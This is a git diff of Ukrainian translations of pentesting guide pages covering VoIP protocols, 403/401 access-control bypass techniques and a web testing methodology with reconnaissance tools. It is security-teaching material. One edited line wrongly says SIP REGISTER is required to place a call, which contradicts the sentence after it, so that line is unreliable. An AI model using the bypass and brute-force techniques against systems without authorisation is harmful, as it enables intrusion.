додаткові послуги, такі як переадресація дзвінків, передача дзвінків, утримання дзвінків та очікування дзвінків. Незважаючи на його широке використання на початку ери VoIP, H.323 поступово замінюється більш сучасними та гнучкими протоколами, такими як **Протокол ініціації сеансу (SIP)**, який пропонує кращу взаємодію та простішу реалізацію. Однак H.323 залишається в використанні в багатьох застарілих системах і продовжує підтримуватися різними постачальниками обладнання. ### IAX (Між Asterisk обмін) @@ -74,7 +74,7 @@ SDP (Протокол опису сеансу) є **текстовим форм 1. **Інформація про сеанс**: SDP описує деталі мультимедійного сеансу, включаючи назву сеансу, опис сеансу, час початку та час закінчення. 2. **Медіа-потоки**: SDP визначає характеристики медіа-потоків, такі як тип медіа (аудіо, відео або текст), транспортний протокол (наприклад, RTP або SRTP) та формат медіа (наприклад, інформація про кодек). 3. **Інформація про з'єднання**: SDP надає інформацію про мережеву адресу (IP-адресу) та номер порту, куди медіа повинні бути надіслані або отримані. -4. **Атрибути**: SDP підтримує використання атрибутів для надання додаткової, необов'язкової інформації про сеанс або медіа-потік. Атрибути можуть використовуватися для специфікації різних функцій, таких як ключі шифрування, вимоги до пропускної здатності або механізми управління медіа. +4. **Атрибути**: SDP підтримує використання атрибутів для надання додаткової, необов'язкової інформації про сеанс або медіа-потік. Атрибути можуть використовуватися для вказівки різних функцій, таких як ключі шифрування, вимоги до пропускної здатності або механізми управління медіа. SDP зазвичай використовується в наступному процесі: @@ -83,11 +83,11 @@ SDP зазвичай використовується в наступному п 3. Отримуюча сторона обробляє опис SDP, і на основі своїх можливостей вона може прийняти, відхилити або змінити запропонований сеанс. 4. Остаточний опис SDP надсилається назад ініціюючій стороні як частина повідомлення протоколу сигналізації, завершуючи процес узгодження. -Простота та гнучкість SDP роблять його широко прийнятим стандартом для опису мультимедійних сеансів у різних системах зв'язку, відіграючи важливу роль у встановленні та управлінні сеансами реального часу мультимедіа через IP-мережі. +Простота та гнучкість SDP роблять його широко прийнятим стандартом для опису мультимедійних сеансів у різних системах зв'язку, відіграючи важливу роль у встановленні та управлінні реальними мультимедійними сеансами через IP-мережі. ### RTP / RTCP / SRTP / ZRTP -1. **RTP (Протокол реального часу)**: RTP є мережевим протоколом, призначеним для доставки аудіо- та відеоданих або інших медіа в реальному часі через IP-мережі. Розроблений **IETF** та визначений у **RFC 3550**, RTP зазвичай використовується з протоколами сигналізації, такими як SIP та H.323, для забезпечення мультимедійного зв'язку. RTP надає механізми для **синхронізації**, **послідовності** та **тимчасого маркування** медіа-потоків, що допомагає забезпечити плавне та своєчасне відтворення медіа. +1. **RTP (Протокол реального часу)**: RTP є мережевим протоколом, призначеним для доставки аудіо- та відеоданих або інших медіа в реальному часі через IP-мережі. Розроблений **IETF** та визначений у **RFC 3550**, RTP зазвичай використовується з протоколами сигналізації, такими як SIP та H.323, для забезпечення мультимедійного зв'язку. RTP надає механізми для **синхронізації**, **послідовності** та **тимчасового маркування** медіа-потоків, що допомагає забезпечити плавне та своєчасне відтворення медіа. 2. **RTCP (Протокол контролю реального часу)**: RTCP є супутнім протоколом до RTP, що використовується для моніторингу якості обслуговування (QoS) та надання зворотного зв'язку щодо передачі медіа-потоків. Визначений у тому ж **RFC 3550**, що й RTP, RTCP **періодично обмінюється контрольними пакетами між учасниками сеансу RTP**. Він ділиться інформацією, такою як втрата пакетів, джиттер та час кругового проходження, що допомагає діагностувати та адаптуватися до умов мережі, покращуючи загальну якість медіа. 3. **SRTP (Безпечний протокол реального часу)**: SRTP є розширенням RTP, яке забезпечує **шифрування**, **автентифікацію повідомлень** та **захист від повторних атак** для медіа-потоків, забезпечуючи безпечну передачу чутливих аудіо- та відеоданих. Визначений у **RFC 3711**, SRTP використовує криптографічні алгоритми, такі як AES для шифрування та HMAC-SHA1 для автентифікації повідомлень. SRTP часто використовується в поєднанні з безпечними протоколами сигналізації, такими як SIP через TLS, для забезпечення кінцевої безпеки в мультимедійному зв'язку. 4. **ZRTP (Протокол реального часу Циммермана)**: ZRTP є протоколом криптографічного обміну ключами, який забезпечує **шифрування з кінця в кінець** для медіа-потоків RTP. Розроблений Філом Циммерманом, творцем PGP, ZRTP описується в **RFC 6189**. На відміну від SRTP, який покладається на протоколи сигналізації для обміну ключами, ZRTP призначений для роботи незалежно від протоколу сигналізації. Він використовує **обмін ключами Діффі-Хеллмана** для встановлення спільного секрету між сторонами, що спілкуються, без необхідності попередньої довіри або інфраструктури відкритих ключів (PKI). ZRTP також включає такі функції, як **Короткі автентифікаційні рядки (SAS)** для захисту від атак "людина посередині". diff --git a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md index 08cbb3ae0..f3eb15d5f 100644 --- a/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md +++ b/src/network-services-pentesting/pentesting-voip/basic-voip-protocols/sip-session-initiation-protocol.md @@ -4,15 +4,15 @@ ## Основна інформація -SIP (Session Initiation Protocol) є **протоколом сигналізації та управління дзвінками**, який широко використовується для встановлення, модифікації та завершення мультимедійних сесій, включаючи голос, відео та миттєві повідомлення, через IP-мережі. Розроблений **Internet Engineering Task Force (IETF)**, SIP визначається в **RFC 3261** і став де-факто стандартом для VoIP та об'єднаних комунікацій. +SIP (Session Initiation Protocol) є **протоколом сигналізації та управління викликами**, який широко використовується для встановлення, модифікації та завершення мультимедійних сесій, включаючи голос, відео та миттєві повідомлення, через IP-мережі. Розроблений **Internet Engineering Task Force (IETF)**, SIP визначається в **RFC 3261** і став де-факто стандартом для VoIP та об'єднаних комунікацій. Деякі ключові особливості SIP включають: -1. **Текстовий протокол**: SIP є текстовим протоколом, що робить його зрозумілим для людини та легшим для налагодження. Він базується на моделі запит-відповідь, подібній до HTTP, і використовує методи, такі як INVITE, ACK, BYE та CANCEL для управління сесіями дзвінків. +1. **Текстовий протокол**: SIP є текстовим протоколом, що робить його зрозумілим для людини та легшим для налагодження. Він базується на моделі запит-відповідь, подібній до HTTP, і використовує методи, такі як INVITE, ACK, BYE та CANCEL для управління сесіями викликів. 2. **Масштабованість та гнучкість**: SIP є високоефективним і може використовуватися як у малих, так і у великих підприємствах та середовищах операторів. Його легко розширити новими функціями, що робить його адаптивним до різних випадків використання та вимог. 3. **Сумісність**: Широке впровадження та стандартизація SIP забезпечують кращу сумісність між різними пристроями, додатками та постачальниками послуг, сприяючи безперешкодній комунікації на різних платформах. 4. **Модульний дизайн**: SIP працює з іншими протоколами, такими як **RTP (Real-time Transport Protocol)** для передачі медіа та **SDP (Session Description Protocol)** для опису мультимедійних сесій. Цей модульний дизайн дозволяє забезпечити більшу гнучкість та сумісність з різними типами медіа та кодеками. -5. **Проксі та редирект-сервери**: SIP може використовувати проксі та редирект-сервери для полегшення маршрутизації дзвінків та надання розширених функцій, таких як переадресація дзвінків, передача дзвінків та послуги голосової пошти. +5. **Проксі та редирект-сервери**: SIP може використовувати проксі та редирект-сервери для полегшення маршрутизації викликів та надання розширених функцій, таких як переадресація викликів, передача викликів та послуги голосової пошти. 6. **Присутність та миттєві повідомлення**: SIP не обмежується лише голосовою та відео-комунікацією. Він також підтримує присутність та миттєві повідомлення, що дозволяє створювати широкий спектр об'єднаних комунікаційних додатків. Незважаючи на численні переваги, SIP може бути складним для налаштування та управління, особливо при вирішенні проблем з NAT та брандмауерами. Однак його універсальність, масштабованість та широкий рівень підтримки в галузі роблять його популярним вибором для VoIP та мультимедійної комунікації. @@ -21,32 +21,32 @@ SIP (Session Initiation Protocol) є **протоколом сигналізац Основні методи SIP, визначені в **RFC 3261**, включають: -1. **INVITE**: Використовується для **ініціювання нової сесії (дзвінка)** або модифікації існуючої. Метод INVITE несе опис сесії (зазвичай за допомогою SDP), щоб проінформувати отримувача про деталі запропонованої сесії, такі як типи медіа, кодеки та транспортні протоколи. +1. **INVITE**: Використовується для **ініціювання нової сесії (виклику)** або модифікації існуючої. Метод INVITE несе опис сесії (зазвичай за допомогою SDP), щоб проінформувати отримувача про деталі запропонованої сесії, такі як типи медіа, кодеки та транспортні протоколи. 2. **ACK**: Надсилається для **підтвердження отримання** остаточної відповіді на запит INVITE. Метод ACK забезпечує надійність транзакцій INVITE, надаючи підтвердження з кінця в кінець. -3. **BYE**: Використовується для **завершення встановленої сесії (дзвінка)**. Метод BYE надсилається будь-якою стороною в сесії, щоб вказати, що вони бажають завершити комунікацію. +3. **BYE**: Використовується для **завершення встановленої сесії (виклику)**. Метод BYE надсилається будь-якою стороною в сесії, щоб вказати, що вони бажають завершити комунікацію. 4. **CANCEL**: Надсилається для **скасування очікуючого запиту INVITE** перед встановленням сесії. Метод CANCEL дозволяє відправнику скасувати транзакцію INVITE, якщо вони змінюють свою думку або якщо немає відповіді від отримувача. 5. **OPTIONS**: Використовується для **запиту можливостей SIP-сервера або агента користувача**. Метод OPTIONS може бути надісланий для запиту інформації про підтримувані методи, типи медіа або інші розширення без фактичного встановлення сесії. -6. **REGISTER**: Використовується агентом користувача для **реєстрації свого поточного місцезнаходження з SIP-регістратором**. Метод REGISTER допомагає підтримувати актуальну відповідність між SIP URI користувача та їхньою поточною IP-адресою, що дозволяє маршрутизацію та доставку дзвінків. +6. **REGISTER**: Використовується агентом користувача для **реєстрації свого поточного місцезнаходження з SIP-регістратором**. Метод REGISTER допомагає підтримувати актуальну відповідність між SIP URI користувача та їхньою поточною IP-адресою, що дозволяє маршрутизацію та доставку викликів. > [!WARNING] -> Зверніть увагу, що для дзвінка комусь **необов'язково використовувати REGISTER** для чогось.\ +> Зверніть увагу, що для того, щоб зателефонувати комусь, **необхідно використовувати REGISTER** для чогось.\ > Однак можливо, що для виконання **INVITE** абоненту потрібно спочатку **автентифікуватися**, інакше він отримає відповідь **`401 Unauthorized`**. На додаток до цих основних методів, існує **кілька розширених методів SIP**, визначених в інших RFC, таких як: -1. **SUBSCRIBE**: Визначений у RFC 6665, метод SUBSCRIBE використовується для **запиту сповіщень** про стан конкретного ресурсу, такого як присутність користувача або статус дзвінка. +1. **SUBSCRIBE**: Визначений у RFC 6665, метод SUBSCRIBE використовується для **запиту сповіщень** про стан конкретного ресурсу, такого як присутність користувача або статус виклику. 2. **NOTIFY**: Також визначений у RFC 6665, метод NOTIFY надсилається сервером для **інформування підписаного агента користувача** про зміни в стані контрольованого ресурсу. -3. **REFER**: Визначений у RFC 3515, метод REFER використовується для **запиту, щоб отримувач виконав передачу або звернувся до третьої сторони**. Це зазвичай використовується для сценаріїв **передачі дзвінків**. +3. **REFER**: Визначений у RFC 3515, метод REFER використовується для **запиту, щоб отримувач виконав передачу або звернувся до третьої сторони**. Це зазвичай використовується для сценаріїв **передачі викликів**. 4. **MESSAGE**: Визначений у RFC 3428, метод MESSAGE використовується для **надсилання миттєвих повідомлень між SIP-агентами користувача**, що дозволяє текстову комунікацію в рамках SIP. -5. **UPDATE**: Визначений у RFC 3311, метод UPDATE дозволяє **модифікувати сесію без впливу на стан існуючого діалогу**. Це корисно для оновлення параметрів сесії, таких як кодеки або типи медіа, під час поточного дзвінка. +5. **UPDATE**: Визначений у RFC 3311, метод UPDATE дозволяє **модифікувати сесію без впливу на стан існуючого діалогу**. Це корисно для оновлення параметрів сесії, таких як кодеки або типи медіа, під час поточного виклику. 6. **PUBLISH**: Визначений у RFC 3903, метод PUBLISH використовується агентом користувача для **публікації інформації про стан подій на сервер**, роблячи її доступною для інших зацікавлених сторін. -### Коди відповіді SIP +### Код відповіді SIP - **1xx (Проміжні відповіді)**: Ці відповіді вказують на те, що запит був отриманий, і сервер продовжує його обробку. - 100 Trying: Запит був отриманий, і сервер працює над ним. -- 180 Ringing: Абонент отримує сповіщення і відповість на дзвінок. -- 183 Session Progress: Надає інформацію про хід дзвінка. +- 180 Ringing: Абонент отримує сповіщення і відповість на виклик. +- 183 Session Progress: Надає інформацію про хід виклику. - **2xx (Успішні відповіді)**: Ці відповіді вказують на те, що запит був успішно отриманий, зрозумілий і прийнятий. - 200 OK: Запит був успішним, і сервер його виконав. - 202 Accepted: Запит був прийнятий для обробки, але ще не завершений. @@ -61,14 +61,14 @@ SIP (Session Initiation Protocol) є **протоколом сигналізац - 403 Forbidden: Сервер зрозумів запит, але відмовляється його виконати. - 404 Not Found: Запитуваний ресурс не знайдено на сервері. - 408 Request Timeout: Сервер не отримав повний запит протягом часу, який він був готовий чекати. -- 486 Busy Here: Абонент наразі зайнятий і не може відповісти на дзвінок. +- 486 Busy Here: Абонент наразі зайнятий і не може відповісти на виклик. - **5xx (Відповіді на помилки сервера)**: Ці відповіді вказують на те, що сервер не зміг виконати дійсний запит. - 500 Internal Server Error: Сервер зіткнувся з помилкою під час обробки запиту. - 501 Not Implemented: Сервер не підтримує функціональність, необхідну для виконання запиту. - 503 Service Unavailable: Сервер наразі не може обробити запит через технічне обслуговування або перевантаження. - **6xx (Глобальні відповіді на помилки)**: Ці відповіді вказують на те, що запит не може бути виконаний жодним сервером. -- 600 Busy Everywhere: Усі можливі напрямки для дзвінка зайняті. -- 603 Decline: Абонент не бажає брати участь у дзвінку. +- 600 Busy Everywhere: Усі можливі напрямки для виклику зайняті. +- 603 Decline: Абонент не бажає брати участь у виклику. - 604 Does Not Exist Anywhere: Запитуваний ресурс недоступний в мережі. ## Приклади @@ -219,13 +219,13 @@ Contact: ;expires=3600 Expires: 3600 Content-Length: 0 ``` -Після того, як сервер реєстрації перевіряє надані облікові дані, **він надсилає відповідь "200 OK", щоб вказати, що реєстрація була успішною**. Відповідь містить зареєстровану контактну інформацію та час закінчення реєстрації. На цьому етапі агент користувача (Аліса) успішно зареєстрований на сервері реєстрації SIP, і вхідні SIP запити для Аліси можуть бути направлені на відповідну контактну адресу. +Після того, як сервер реєстрації перевіряє надані облікові дані, **він надсилає відповідь "200 OK", щоб вказати, що реєстрація була успішною**. Відповідь містить зареєстровану контактну інформацію та час закінчення реєстрації. На цьому етапі агент користувача (Аліса) успішно зареєстрований на сервері SIP реєстрації, і вхідні SIP запити для Аліси можуть бути направлені на відповідну контактну адресу. ### Приклад дзвінка
> [!NOTE] -> Не згадується, але Користувач B повинен надіслати **повідомлення REGISTER до Proxy 2**, перш ніж він зможе отримувати дзвінки. +> Не згадується, але Користувач B повинен надіслати **REGISTER повідомлення до Proxy 2**, перш ніж він зможе отримувати дзвінки. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index d46c4d231..f681fd87d 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -35,9 +35,9 @@ - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- Якщо сторінка **за проксі**, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **або** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** +- Якщо сторінка **за проксі**, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **або** [**hop-by-hop заголовками**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** - Fuzz [**спеціальні HTTP заголовки**](special-http-headers.md), шукаючи різні відповіді. -- **Fuzz спеціальні HTTP заголовки**, поки ви fuzz **HTTP Methods**. +- **Fuzz спеціальні HTTP заголовки** під час fuzzing **HTTP Methods**. - **Видаліть заголовок Host**, і, можливо, ви зможете обійти захист. ## Path **Fuzzing** @@ -45,7 +45,7 @@ Якщо _/path_ заблоковано: - Спробуйте використовувати _**/**_**%2e/path \_(якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також**\_\*\* /%252e\*\*/path (подвійне кодування URL) -- Спробуйте **Unicode обхід**: _/**%ef%bc%8f**path_ (закодовані символи URL схожі на "/"), тому, коли їх закодувати назад, це буде _//path_, і, можливо, ви вже обійшли перевірку назви _/path_ +- Спробуйте **Unicode обхід**: _/**%ef%bc%8f**path_ (кодування URL символів схоже на "/"), тому при повторному кодуванні це буде _//path_, і, можливо, ви вже обійшли перевірку назви _/path_ - **Інші обходи шляху**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK @@ -78,7 +78,7 @@ - Видаліть параметри - Переставте параметри - Використовуйте спеціальні символи. -- Виконайте тестування меж у параметрах — надайте значення, такі як _-234_ або _0_ або _99999999_ (просто кілька прикладів). +- Виконайте граничне тестування параметрів — надайте значення, такі як _-234_ або _0_ або _99999999_ (просто кілька прикладів). ## **Protocol version** @@ -89,7 +89,7 @@ - Отримайте **IP** або **CNAME** домену та спробуйте **зв'язатися з ним безпосередньо**. - Спробуйте **навантажити сервер**, надсилаючи звичайні GET запити ([Це спрацювало для цього хлопця з Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). - **Змініть протокол**: з http на https, або з https на http -- Перейдіть на [**https://archive.org/web/**](https://archive.org/web/) і перевірте, чи був у минулому цей файл **всесвітньо доступний**. +- Перейдіть до [**https://archive.org/web/**](https://archive.org/web/) і перевірте, чи був у минулому цей файл **всесвітньо доступний**. ## **Brute Force** diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index c4e7edf22..41efe2d41 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -25,18 +25,18 @@ web-api-pentesting.md ## Methodology summary -> У цій методології ми будемо припускати, що ви будете атакувати домен (або піддомен) і тільки його. Тому ви повинні застосувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу. +> У цій методології ми будемо припускати, що ви збираєтеся атакувати домен (або піддомен) і тільки його. Тому ви повинні застосувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу. - [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію. - [ ] Чи є якісь **відомі вразливості** версії технології? -- [ ] Використовується якась **відомо технологія**? Якась **корисна порада** для отримання додаткової інформації? +- [ ] Використовується якась **відомий технології**? Якась **корисна порада** для отримання більше інформації? - [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)? -- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось цікаве. -- [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS). -- [ ] Розпочніть **спайдеринг** веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**. -- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або спайдерингу виявляється новий каталог, його слід спайдерити._ -- [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки в пошуках нових **файлів** та **каталогів**. -- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або спайдерингу виявляється новий каталог, його слід брутфорсити._ +- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію. +- [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS). +- [ ] Почніть **павукоподібно** веб-сторінку: настав час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**. +- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід павукоподібно сканувати._ +- [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки, шукаючи нові **файли** та **каталоги**. +- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._ - [ ] **Перевірка резервних копій**: перевірте, чи можете ви знайти **резервні копії** **виявлених файлів**, додаючи загальні розширення резервних копій. - [ ] **Брутфорсинг параметрів**: спробуйте **знайти приховані параметри**. - [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте на всі види **вразливостей**, пов'язаних з цим. @@ -47,7 +47,7 @@ web-api-pentesting.md ### Identify Перевірте, чи є **відомі вразливості** для версії сервера, що працює.\ -**HTTP заголовки та куки відповіді** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap scan** може ідентифікувати версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)або [**https://builtwith.com/**](https://builtwith.com)**:** +**HTTP заголовки та куки відповіді** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap сканування** може ідентифікувати версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)або [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -98,7 +98,7 @@ Search **for** [**вразливості веб-додатку** **версії* - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS до RCE)**](electron-desktop-apps/) -_Врахуйте, що **один і той же домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\ +_Зверніть увагу, що **один і той же домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\ Якщо веб-додаток використовує будь-яку відому **технологію/платформу, зазначену раніше**, або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і дайте мені знати!). ### Огляд вихідного коду @@ -173,7 +173,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs #### **Перевірте, чи можете ви завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Якщо ви виявили, що **WebDav** **увімкнено**, але у вас недостатньо прав для **завантаження файлів** у кореневу папку, спробуйте: +Якщо ви виявите, що **WebDav** **увімкнено**, але у вас недостатньо прав для **завантаження файлів** у кореневу папку, спробуйте: - **Брутфорсити** облікові дані - **Завантажити файли** через WebDav у **інші** **знайдені папки** на веб-сторінці. У вас можуть бути права на завантаження файлів в інших папках. @@ -183,7 +183,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs - Якщо додаток **не змушує користувача використовувати HTTPS** в жодній частині, то він **вразливий до MitM** - Якщо додаток **надсилає чутливі дані (паролі) за допомогою HTTP**. Тоді це висока вразливість. -Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) та використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей: +Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -201,37 +201,37 @@ sslyze --regular Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли". - [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org. - [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, здається, він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, виглядає так, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється. - [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішніх постачальників (wayback, otx, commoncrawl). - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх. - [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливостями рендерингу JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, з можливостями beautify для JS, здатний шукати нові шляхи в JS файлах. Також варто звернути увагу на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування кінцевих точок як з HTML джерела, так і з вбудованих javascript файлів. Корисно для шукачів вразливостей, червоних команд, інфосек ніндзя. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт python 2.7, що використовує Tornado та JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисно для легкого виявлення AJAX запитів. Здається, не підтримується. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Даний файл (HTML) витягне URL з нього, використовуючи хитрі регулярні вирази для знаходження та витягування відносних URL з непривабливих (мінімізованих) файлів. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт python 2.7, що використовує Tornado та JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисно для легкого виявлення AJAX запитів. Виглядає так, що не підтримується. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Дано файл (HTML), він витягне URL з нього, використовуючи хитрі регулярні вирази для знаходження та витягування відносних URL з непривабливих (мінімізованих) файлів. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, кілька інструментів): Збирає цікаву інформацію з JS файлів, використовуючи кілька інструментів. - [**subjs**](https://github.com/lc/subjs) (go): Знайти JS файли. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажити сторінку в безголовому браузері та вивести всі URL, завантажені для завантаження сторінки. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для виявлення вмісту, що поєднує кілька опцій попередніх інструментів. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення Burp для знаходження шляхів та параметрів у JS файлах. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, отримавши URL .js.map, надасть вам beautified JS код. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, given the .js.map URL, отримає вам beautified JS код. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Це інструмент, що використовується для виявлення кінцевих точок для заданої цілі. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді в wayback та шукаючи більше посилань). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулінг (навіть заповнюючи форми) та також знаходження чутливої інформації, використовуючи специфічні regex. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для фахівців з кібербезпеки. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для професіоналів у сфері кібербезпеки. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Це пакет Go та [інструмент командного рядка](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та інших цікавих даних з вихідного коду JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення кастомного словника для фуззингу та перерахунку. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького списку слів для фуззингу та перерахунку. - [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього. - [**Crawley**](https://github.com/s0rg/crawley) (go): Друкує кожне посилання, яке може знайти. ### Brute Force каталоги та файли -Почніть **brute-forcing** з кореневої папки та переконайтеся, що ви brute-force **всі** **знайдені каталоги**, використовуючи **цей метод** та всі каталоги, **виявлені** за допомогою **Spidering** (ви можете виконати цей brute-forcing **рекурсивно** та додати на початку використаного словника імена знайдених каталогів).\ +Почніть **brute-forcing** з кореневої папки та переконайтеся, що ви brute-force **всі** **знайдені каталоги**, використовуючи **цей метод** та всі каталоги, **виявлені** за допомогою **Spidering** (ви можете виконати цей brute-forcing **рекурсивно** та додати на початку використаного списку слів назви знайдених каталогів).\ Інструменти: - **Dirb** / **Dirbuster** - Включено в Kali, **старий** (і **повільний**), але функціональний. Дозволяє авто-підписані сертифікати та рекурсивний пошук. Занадто повільний у порівнянні з іншими варіантами. @@ -240,10 +240,10 @@ sslyze --regular - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Швидкий, підтримує рекурсивний пошук.** - [**wfuzz**](https://github.com/xmendez/wfuzz) 